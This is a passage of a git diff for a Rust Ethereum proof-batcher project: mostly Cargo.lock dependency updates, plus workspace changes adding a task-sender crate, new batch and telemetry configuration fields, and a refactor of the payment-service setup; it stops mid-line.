"registry+https://github.com/rust-lang/crates.io-index" +checksum = "13acbb8371917fc971be86fc8057c41a64b521c184808a698c02acc242dbf637" +dependencies = [ + "displaydoc", + "litemap", + "tinystr", + "writeable", + "zerovec", +] + +[[package]] +name = "icu_locid_transform" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "01d11ac35de8e40fdeda00d9e1e9d92525f3f9d887cdd7aa81d727596788b54e" +dependencies = [ + "displaydoc", + "icu_locid", + "icu_locid_transform_data", + "icu_provider", + "tinystr", + "zerovec", +] + +[[package]] +name = "icu_locid_transform_data" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fdc8ff3388f852bede6b579ad4e978ab004f139284d7b28715f773507b946f6e" + +[[package]] +name = "icu_normalizer" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19ce3e0da2ec68599d193c93d088142efd7f9c5d6fc9b803774855747dc6a84f" +dependencies = [ + "displaydoc", + "icu_collections", + "icu_normalizer_data", + "icu_properties", + "icu_provider", + "smallvec", + "utf16_iter", + "utf8_iter", + "write16", + "zerovec", +] + +[[package]] +name = "icu_normalizer_data" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8cafbf7aa791e9b22bec55a167906f9e1215fd475cd22adfcf660e03e989516" + +[[package]] +name = "icu_properties" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93d6020766cfc6302c15dbbc9c8778c37e62c14427cb7f6e601d849e092aeef5" +dependencies = [ + "displaydoc", + "icu_collections", + "icu_locid_transform", + "icu_properties_data", + "icu_provider", + "tinystr", + "zerovec", +] + +[[package]] +name = "icu_properties_data" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67a8effbc3dd3e4ba1afa8ad918d5684b8868b3b26500753effea8d2eed19569" + +[[package]] +name = "icu_provider" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ed421c8a8ef78d3e2dbc98a973be2f3770cb42b606e3ab18d6237c4dfde68d9" +dependencies = [ + "displaydoc", + "icu_locid", + "icu_provider_macros", + "stable_deref_trait", + "tinystr", + "writeable", + "yoke", + "zerofrom", + "zerovec", +] + +[[package]] +name = "icu_provider_macros" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ec89e9337638ecdc08744df490b221a7399bf8d164eb52a665454e60e075ad6" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.87", +] + [[package]] name = "idna" -version = "0.5.0" +version = "1.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6" +checksum = "686f825264d630750a544639377bae737628043f20d38bbc029e8f29ea968a7e" dependencies = [ - "unicode-bidi", - "unicode-normalization", + "idna_adapter", + "smallvec", + "utf8_iter", +] + +[[package]] +name = "idna_adapter" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "daca1df1c957320b2cf139ac61e7bd64fed304c5040df000a745aa1de3b4ef71" +dependencies = [ + "icu_normalizer", + "icu_properties", ] [[package]] @@ -3566,7 +3547,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "707907fe3c25f5424cce2cb7e1cbcafee6bdbe735ca90ef77c29e84591e5b9da" dependencies = [ "equivalent", - "hashbrown 0.15.0", + "hashbrown 0.15.1", ] [[package]] @@ -3760,7 +3741,7 @@ version = "0.20.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "507460a910eb7b32ee961886ff48539633b788a36b65692b95f225b844c82553" dependencies = [ - "regex-automata 0.4.8", + "regex-automata 0.4.9", ] [[package]] @@ -3803,7 +3784,7 @@ dependencies = [ "proc-macro2", "quote", "regex", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -3817,9 +3798,9 @@ dependencies = [ [[package]] name = "libc" -version = "0.2.161" +version = "0.2.162" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8e9489c2807c139ffd9c1794f4af0ebe86a828db53ecdc7fea2111d0fed085d1" +checksum = "18d287de67fe55fd7e1581fe933d965a5a9477b38e949cfa9f8574ef01506398" [[package]] name = "libgit2-sys" @@ -3845,9 +3826,9 @@ dependencies = [ [[package]] name = "libm" -version = "0.2.10" +version = "0.2.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a00419de735aac21d53b0de5ce2c03bd3627277cf471300f27ebc89f7d828047" +checksum = "8355be11b20d696c8f18f6cc018c4e372165b1fa8126cef092399c9951984ffa" [[package]] name = "libredox" @@ -3877,6 +3858,12 @@ version = "0.4.14" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "78b3ae25bc7c8c38cec158d1f2757ee79e9b3740fbc7ccf0e59e4b08d793fa89" +[[package]] +name = "litemap" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "643cb0b8d4fcc284004d5fd0d67ccf61dfffadb7f75e1e71bc420f4688a3a704" + [[package]] name = "lock_api" version = "0.4.12" @@ -3899,7 +3886,7 @@ version = "0.12.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "234cf4f4a04dc1f57e24b96cc0cd600cf2af460d4161ac5ecdd0af8e1f3b2a38" dependencies = [ - "hashbrown 0.15.0", + "hashbrown 0.15.1", ] [[package]] @@ -3934,7 +3921,7 @@ checksum = "5cf92c10c7e361d6b99666ec1c6f9805b0bea2c3bd8c78dc6fe98ac5bd78db11" dependencies = [ "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -4248,7 +4235,7 @@ dependencies = [ "proc-macro-crate 3.2.0", "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -4338,7 +4325,7 @@ checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c" dependencies = [ "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -4856,7 +4843,7 @@ dependencies = [ "phf_shared 0.11.2", "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -4894,7 +4881,7 @@ checksum = "3c0f5fad0874fc7abcd4d750e76917eaebbecaa2c20bde22e1dbeeba8beb758c" dependencies = [ "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -4969,7 +4956,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "64d1ec885c64d0457d564db4ec299b2dae3f9c02808b8ad9c3a089c591b18033" dependencies = [ "proc-macro2", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -5129,7 +5116,7 @@ dependencies = [ "itertools 0.13.0", "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -5181,10 +5168,11 @@ dependencies = [ [[package]] name = "quinn-udp" -version = "0.5.5" +version = "0.5.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4fe68c2e9e1a1234e218683dbdf9f9dfcb094113c5ac2b938dfcb9bab4c4140b" +checksum = "7d5a626c6807713b15cac82a6acaccd6043c9a5408c24baae07611fec3f243da" dependencies = [ + "cfg_aliases", "libc", "once_cell", "socket2", @@ -5303,7 +5291,7 @@ checksum = "b544ef1b4eac5dc2db33ea63606ae9ffcfac26c1416a2806ae0bf5f56b201191" dependencies = [ "aho-corasick", "memchr", - "regex-automata 0.4.8", + "regex-automata 0.4.9", "regex-syntax 0.8.5", ] @@ -5318,9 +5306,9 @@ dependencies = [ [[package]] name = "regex-automata" -version = "0.4.8" +version = "0.4.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "368758f23274712b504848e9d5a6f010445cc8b87a7cdb4d7cbee666c1288da3" +checksum = "809e8dc61f6de73b46c85f4c96486310fe304c434cfa43669d7b40f711150908" dependencies = [ "aho-corasick", "memchr", @@ -5391,9 +5379,9 @@ dependencies = [ [[package]] name = "reqwest" -version = "0.12.8" +version = "0.12.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f713147fbe92361e52392c73b8c9e48c04c6625bce969ef54dc901e58e042a7b" +checksum = "a77c62af46e79de0a562e1a9849205ffcb7fc1238876e9bd743357570e04046f" dependencies = [ "base64 0.22.1", "bytes", @@ -5449,7 +5437,7 @@ dependencies = [ "anyhow", "async-trait", "http 1.1.0", - "reqwest 0.12.8", + "reqwest 0.12.9", "serde", "thiserror", "tower-service", @@ -5808,9 +5796,9 @@ dependencies = [ [[package]] name = "rustix" -version = "0.38.38" +version = "0.38.40" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aa260229e6538e52293eeb577aabd09945a09d6d9cc0fc550ed7529056c2e32a" +checksum = "99e4ea3e1cdc4b559b8e5650f9c8e5998e3e5c1343b4eaf034565f32318d63c0" dependencies = [ "bitflags 2.6.0", "errno", @@ -5965,7 +5953,7 @@ dependencies = [ "proc-macro-crate 3.2.0", "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -6069,9 +6057,9 @@ dependencies = [ [[package]] name = "security-framework-sys" -version = "2.12.0" +version = "2.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ea4a292869320c0272d7bc55a5a6aafaff59b4f63404a003887b679a2e05b4b6" +checksum = "fa39c7303dc58b5543c94d22c1766b0d31f2ee58306363ea622b10bbc075eaa2" dependencies = [ "core-foundation-sys", "libc", @@ -6118,22 +6106,22 @@ checksum = "cd0b0ec5f1c1ca621c432a25813d8d60c88abe6d3e08a3eb9cf37d97a0fe3d73" [[package]] name = "serde" -version = "1.0.213" +version = "1.0.214" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3ea7893ff5e2466df8d720bb615088341b295f849602c6956047f8f80f0e9bc1" +checksum = "f55c3193aca71c12ad7890f1785d2b73e1b9f63a0bbc353c08ef26fe03fc56b5" dependencies = [ "serde_derive", ] [[package]] name = "serde_derive" -version = "1.0.213" +version = "1.0.214" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7e85ad2009c50b58e87caa8cd6dac16bdf511bbfb7af6c33df902396aa480fa5" +checksum = "de523f781f095e28fa605cdce0f8307e451cc0fd14e2eb4cd2e98a355b147766" dependencies = [ "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -6166,7 +6154,7 @@ checksum = "6c64451ba24fc7a6a2d60fc75dd9c83c90903b19028d4eff35e88fc1e86564e9" dependencies = [ "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -6205,9 +6193,9 @@ dependencies = [ [[package]] name = "serial_test" -version = "3.1.1" +version = "3.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4b4b487fe2acf240a021cf57c6b2b4903b1e78ca0ecd862a71b71d2a51fed77d" +checksum = "1b258109f244e1d6891bf1053a55d63a5cd4f8f4c30cf9a1280989f80e7a1fa9" dependencies = [ "futures", "log", @@ -6219,13 +6207,13 @@ dependencies = [ [[package]] name = "serial_test_derive" -version = "3.1.1" +version = "3.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "82fe9db325bcef1fbcde82e078a5cc4efdf787e96b3b9cf45b50b529f2083d67" +checksum = "5d69265a08751de7844521fd15003ae0a888e035773ba05695c5c759a6f89eef" dependencies = [ "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -6695,7 +6683,7 @@ dependencies = [ "bincode", "cfg-if", "dirs", - "ethers 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", + "ethers", "futures", "hashbrown 0.14.5", "hex", @@ -6706,7 +6694,7 @@ dependencies = [ "p3-field", "p3-fri", "prost", - "reqwest 0.12.8", + "reqwest 0.12.9", "reqwest-middleware", "serde", "sp1-core-executor", @@ -6798,9 +6786,15 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d904e7009df136af5297832a3ace3370cd14ff1546a232f4f185036c2736fcac" dependencies = [ "quote", - "syn 2.0.85", + "syn 2.0.87", ] +[[package]] +name = "stable_deref_trait" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3" + [[package]] name = "static_assertions" version = "1.1.0" @@ -6845,7 +6839,7 @@ dependencies = [ "proc-macro2", "quote", "rustversion", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -6896,9 +6890,9 @@ dependencies = [ [[package]] name = "syn" -version = "2.0.85" +version = "2.0.87" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5023162dfcd14ef8f32034d8bcd4cc5ddc61ef7a247c024a33e24e1f24d21b56" +checksum = "25aa4ce346d03a6dcd68dd8b4010bcb74e54e62c90c573f394c46eae99aba32d" dependencies = [ "proc-macro2", "quote", @@ -6914,19 +6908,7 @@ dependencies = [ "paste", "proc-macro2", "quote", - "syn 2.0.85", -] - -[[package]] -name = "syn_derive" -version = "0.1.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1329189c02ff984e9736652b1631330da25eaa6bc639089ed4915d25446cbe7b" -dependencies = [ - "proc-macro-error", - "proc-macro2", - "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -6944,6 +6926,17 @@ dependencies = [ "futures-core", ] +[[package]] +name = "synstructure" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8af7666ab7b6390ab78131fb5b0fce11d6b7a6951602017c35fa82800708971" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.87", +] + [[package]] name = "sysinfo" version = "0.30.13" @@ -7007,11 +7000,30 @@ version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "55937e1799185b12863d447f42597ed69d9928686b8d88a1df17376a097d8369" +[[package]] +name = "task-sender" +version = "0.1.0" +dependencies = [ + "aligned-sdk", + "clap", + "env_logger", + "ethers", + "futures-util", + "log", + "rpassword", + "serde", + "serde_json", + "sha3", + "tokio", + "tokio-tungstenite 0.24.0", + "url", +] + [[package]] name = "tempfile" -version = "3.13.0" +version = "3.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f0f2c9fc62d0beef6951ccffd757e241266a2c833136efbe35af6cd2567dca5b" +checksum = "28cce251fcbc87fac86a866eeb0d6c2d536fc16d06f184bb61aeae11aa4cee0c" dependencies = [ "cfg-if", "fastrand", @@ -7033,22 +7045,22 @@ dependencies = [ [[package]] name = "thiserror" -version = "1.0.65" +version = "1.0.69" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5d11abd9594d9b38965ef50805c5e469ca9cc6f197f883f717e0269a3057b3d5" +checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52" dependencies = [ "thiserror-impl", ] [[package]] name = "thiserror-impl" -version = "1.0.65" +version = "1.0.69" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ae71770322cbd277e69d762a16c444af02aa0575ac0d174f0b9562d3b37f8602" +checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" dependencies = [ "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -7103,6 +7115,16 @@ dependencies = [ "crunchy", ] +[[package]] +name = "tinystr" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9117f5d4db391c1cf6927e7bea3db74b9a1c1add8f7eda9ffd5364f40f57b82f" +dependencies = [ + "displaydoc", + "zerovec", +] + [[package]] name = "tinyvec" version = "1.8.0" @@ -7120,9 +7142,9 @@ checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" [[package]] name = "tokio" -version = "1.41.0" +version = "1.41.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "145f3413504347a2be84393cc8a7d2fb4d863b375909ea59f2158261aa258bbb" +checksum = "22cfb5bee7a6a52939ca9224d6ac897bb669134078daa8735560897f69de4d33" dependencies = [ "backtrace", "bytes", @@ -7144,7 +7166,7 @@ checksum = "693d596312e88961bc67d7f1f97af8a70227d9f90c31bba5806eec004978d752" dependencies = [ "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -7223,6 +7245,24 @@ dependencies = [ "webpki-roots 0.26.6", ] +[[package]] +name = "tokio-tungstenite" +version = "0.24.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "edc5f74e248dc973e0dbb7b74c7e0d6fcc301c694ff50049504004ef4d0cdcd9" +dependencies = [ + "futures-util", + "log", + "native-tls", + "rustls 0.23.16", + "rustls-pki-types", + "tokio", + "tokio-native-tls", + "tokio-rustls 0.26.0", + "tungstenite 0.24.0", + "webpki-roots 0.26.6", +] + [[package]] name = "tokio-util" version = "0.7.12" @@ -7329,7 +7369,7 @@ checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" dependencies = [ "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -7469,6 +7509,27 @@ dependencies = [ "utf-8", ] +[[package]] +name = "tungstenite" +version = "0.24.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "18e5b8366ee7a95b16d32197d0b2604b43a0be89dc5fac9f8e96ccafbaedda8a" +dependencies = [ + "byteorder", + "bytes", + "data-encoding", + "http 1.1.0", + "httparse", + "log", + "native-tls", + "rand", + "rustls 0.23.16", + "rustls-pki-types", + "sha1", + "thiserror", + "utf-8", +] + [[package]] name = "twirp-rs" version = "0.13.0-succinct" @@ -7482,7 +7543,7 @@ dependencies = [ "http-body-util", "hyper 1.5.0", "prost", - "reqwest 0.12.8", + "reqwest 0.12.9", "serde", "serde_json", "thiserror", @@ -7527,27 +7588,12 @@ version = "2.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7e51b68083f157f853b6379db119d1c1be0e6e4dec98101079dec41f6f5cf6df" -[[package]] -name = "unicode-bidi" -version = "0.3.17" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5ab17db44d7388991a428b2ee655ce0c212e862eff1768a455c58f9aad6e7893" - [[package]] name = "unicode-ident" version = "1.0.13" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e91b56cd4cadaeb79bbf1a5645f6b4f8dc5bde8834ad5894a8db35fda9efa1fe" -[[package]] -name = "unicode-normalization" -version = "0.1.24" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5033c97c4262335cded6d6fc3e5c18ab755e1a3dc96376350f3d8e9f009ad956" -dependencies = [ - "tinyvec", -] - [[package]] name = "unicode-width" version = "0.1.14" @@ -7580,9 +7626,9 @@ checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" [[package]] name = "url" -version = "2.5.2" +version = "2.5.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "22784dbdf76fdde8af1aeda5622b546b422b6fc585325248a2bf9f5e41e94d6c" +checksum = "8d157f1b96d14500ffdc1f10ba712e780825526c03d9a49b4d0324b0d9113ada" dependencies = [ "form_urlencoded", "idna", @@ -7601,6 +7647,18 @@ version = "0.7.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9" +[[package]] +name = "utf16_iter" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8232dd3cdaed5356e0f716d285e4b40b932ac434100fe9b7e0e8e935b9e6246" + +[[package]] +name = "utf8_iter" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be" + [[package]] name = "utf8parse" version = "0.2.2" @@ -7754,7 +7812,7 @@ dependencies = [ "once_cell", "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", "wasm-bindgen-shared", ] @@ -7788,7 +7846,7 @@ checksum = "26c6ab57572f7a24a4985830b120de1594465e5d500f24afe89e16b4e833ef68" dependencies = [ "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", "wasm-bindgen-backend", "wasm-bindgen-shared", ] @@ -8103,6 +8161,18 @@ dependencies = [ "windows-sys 0.48.0", ] +[[package]] +name = "write16" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d1890f4022759daae28ed4fe62859b1236caebfc61ede2f63ed4e695f3f6d936" + +[[package]] +name = "writeable" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e9df38ee2d2c3c5948ea468a8406ff0db0b29ae1ffde1bcf20ef305bcc95c51" + [[package]] name = "ws_stream_wasm" version = "0.7.4" @@ -8143,6 +8213,30 @@ version = "0.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "09041cd90cf85f7f8b2df60c646f853b7f535ce68f85244eb6731cf89fa498ec" +[[package]] +name = "yoke" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c5b1314b079b0930c31e3af543d8ee1757b1951ae1e1565ec704403a7240ca5" +dependencies = [ + "serde", + "stable_deref_trait", + "yoke-derive", + "zerofrom", +] + +[[package]] +name = "yoke-derive" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28cc31741b18cb6f1d5ff12f5b7523e3d6eb0852bbbad19d73905511d9849b95" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.87", + "synstructure", +] + [[package]] name = "zerocopy" version = "0.7.35" @@ -8161,7 +8255,28 @@ checksum = "fa4f8080344d4671fb4e831a13ad1e68092748387dfc4f55e356242fae12ce3e" dependencies = [ "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", +] + +[[package]] +name = "zerofrom" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91ec111ce797d0e0784a1116d0ddcdbea84322cd79e5d5ad173daeba4f93ab55" +dependencies = [ + "zerofrom-derive", +] + +[[package]] +name = "zerofrom-derive" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ea7b4a3637ea8669cedf0f1fd5c286a17f3de97b8dd5a70a6c167a1730e63a5" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.87", + "synstructure", ] [[package]] @@ -8181,7 +8296,29 @@ checksum = "ce36e65b0d2999d2aafac989fb249189a141aee1f53c612c1f37d72631959f69" dependencies = [ "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", +] + +[[package]] +name = "zerovec" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa2b893d79df23bfb12d5461018d408ea19dfafe76c2c7ef6d4eba614f8ff079" +dependencies = [ + "yoke", + "zerofrom", + "zerovec-derive", +] + +[[package]] +name = "zerovec-derive" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6eafa6dfb17584ea3e2bd6e76e0cc15ad7af12b09abdd1ca55961bed9b1063c6" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.87", ] [[package]] diff --git a/batcher/Cargo.toml b/batcher/Cargo.toml index f7489c6da..ddec14107 100644 --- a/batcher/Cargo.toml +++ b/batcher/Cargo.toml @@ -1,7 +1,3 @@ [workspace] -members = [ - "aligned-batcher", - "aligned-sdk", - "aligned" -] +members = ["aligned-batcher", "aligned-sdk", "aligned", "aligned-task-sender"] resolver = "2" diff --git a/batcher/aligned-batcher/Cargo.toml b/batcher/aligned-batcher/Cargo.toml index 16bb66eda..8aeb70541 100644 --- a/batcher/aligned-batcher/Cargo.toml +++ b/batcher/aligned-batcher/Cargo.toml @@ -19,10 +19,7 @@ bytes = "1.7.1" hex = "0.4.3" dotenvy = "0.15.0" anyhow = "1.0.83" -ethers = { tag = "v2.0.15-fix-reconnections", features = [ - "ws", - "rustls", -], git = "https://github.com/yetanotherco/ethers-rs.git" } +ethers = { version = "2.0", features = ["ws", "rustls"] } lambdaworks-crypto = { git = "https://github.com/lambdaclass/lambdaworks.git", rev = "efd46f0b0aea3aa95d94bba7de86cb96611b40d3", features = ["serde"] } serde_yaml = "0.9.34" sp1-sdk = { git = "https://github.com/succinctlabs/sp1.git", rev = "v3.0.0" } @@ -31,7 +28,9 @@ bincode = "1.3.3" aligned-sdk = { path = "../aligned-sdk" } ciborium = "=0.2.2" priority-queue = "2.1.0" +reqwest = { version = "0.12", features = ["json"] } once_cell = "1.20.2" warp = "0.3.7" prometheus = { version = "0.13.4", features = ["process"] } +backon = "1.2.0" diff --git a/batcher/aligned-batcher/src/config/mod.rs b/batcher/aligned-batcher/src/config/mod.rs index 1737cf4fb..3a6f01e34 100644 --- a/batcher/aligned-batcher/src/config/mod.rs +++ b/batcher/aligned-batcher/src/config/mod.rs @@ -38,11 +38,13 @@ impl NonPayingConfig { #[derive(Debug, Deserialize)] pub struct BatcherConfigFromYaml { pub block_interval: u64, + pub transaction_wait_timeout: u64, pub max_proof_size: usize, - pub max_batch_size: usize, - pub eth_ws_reconnects: usize, + pub max_batch_byte_size: usize, + pub max_batch_proof_qty: usize, pub pre_verification_is_enabled: bool, pub metrics_port: u16, + pub telemetry_ip_port_address: String, pub non_paying: Option, } diff --git a/batcher/aligned-batcher/src/connection.rs b/batcher/aligned-batcher/src/connection.rs index 65bbcf384..9d7192522 100644 --- a/batcher/aligned-batcher/src/connection.rs +++ b/batcher/aligned-batcher/src/connection.rs @@ -1,12 +1,13 @@ use std::sync::Arc; +use crate::types::{batch_queue::BatchQueueEntry, errors::BatcherError}; use aligned_sdk::{ communication::serialization::cbor_serialize, - core::types::{BatchInclusionData, ResponseMessage, VerificationCommitmentBatch}, + core::types::{BatchInclusionData, SubmitProofResponseMessage, VerificationCommitmentBatch}, }; use futures_util::{stream::SplitSink, SinkExt}; use lambdaworks_crypto::merkle_tree::merkle::MerkleTree; -use log::{error, info}; +use log::{debug, error}; use serde::Serialize; use tokio::{net::TcpStream, sync::RwLock}; use tokio_tungstenite::{ @@ -14,8 +15,6 @@ use tokio_tungstenite::{ WebSocketStream, }; -use crate::types::{batch_queue::BatchQueueEntry, errors::BatcherError}; - pub(crate) type WsMessageSink = Arc, Message>>>; pub(crate) async fn send_batch_inclusion_data_responses( @@ -23,8 +22,12 @@ pub(crate) async fn send_batch_inclusion_data_responses( batch_merkle_tree: &MerkleTree, ) -> Result<(), BatcherError> { for (vd_batch_idx, entry) in finalized_batch.iter().enumerate() { - let batch_inclusion_data = BatchInclusionData::new(vd_batch_idx, batch_merkle_tree); - let response = ResponseMessage::BatchInclusionData(batch_inclusion_data); + let batch_inclusion_data = BatchInclusionData::new( + vd_batch_idx, + batch_merkle_tree, + entry.nonced_verification_data.nonce, + ); + let response = SubmitProofResponseMessage::BatchInclusionData(batch_inclusion_data); let serialized_response = cbor_serialize(&response) .map_err(|e| BatcherError::SerializationError(e.to_string()))?; @@ -45,7 +48,7 @@ pub(crate) async fn send_batch_inclusion_data_responses( Ok(_) => (), } - info!("Response sent"); + debug!("Response sent"); } Ok(()) diff --git a/batcher/aligned-batcher/src/eth/payment_service.rs b/batcher/aligned-batcher/src/eth/payment_service.rs index 0284bb9aa..2f14e2a09 100644 --- a/batcher/aligned-batcher/src/eth/payment_service.rs +++ b/batcher/aligned-batcher/src/eth/payment_service.rs @@ -4,20 +4,13 @@ use std::sync::Arc; use aligned_sdk::eth::batcher_payment_service::BatcherPaymentServiceContract; use ethers::prelude::k256::ecdsa::SigningKey; use ethers::prelude::*; -use gas_escalator::{Frequency, GeometricGasPrice}; -use log::info; - -use crate::{config::ECDSAConfig, types::errors::BatcherSendError}; - -use super::utils::{GAS_ESCALATOR_INTERVAL, GAS_MULTIPLIER}; #[derive(Debug, Clone, EthEvent)] pub struct BatchVerified { pub batch_merkle_root: [u8; 32], } -pub type SignerMiddlewareT = - SignerMiddleware>>, Wallet>; +pub type SignerMiddlewareT = SignerMiddleware, Wallet>; pub type BatcherPaymentService = BatcherPaymentServiceContract; @@ -46,58 +39,10 @@ impl CreateNewTaskFeeParams { } pub async fn get_batcher_payment_service( - provider: Provider>, - ecdsa_config: ECDSAConfig, + signer: Arc, contract_address: String, ) -> Result { - let chain_id = provider.get_chainid().await?; - - let escalator = GeometricGasPrice::new(GAS_MULTIPLIER, GAS_ESCALATOR_INTERVAL, None::); - - let provider = GasEscalatorMiddleware::new(provider, escalator, Frequency::PerBlock); - - // get private key from keystore - let wallet = Wallet::decrypt_keystore( - &ecdsa_config.private_key_store_path, - &ecdsa_config.private_key_store_password, - )? - .with_chain_id(chain_id.as_u64()); - - let signer = Arc::new(SignerMiddleware::new(provider, wallet)); - let payment_service = BatcherPaymentService::new(H160::from_str(contract_address.as_str())?, signer); - Ok(payment_service) } - -pub async fn try_create_new_task( - batch_merkle_root: [u8; 32], - batch_data_pointer: String, - proofs_submitters: Vec
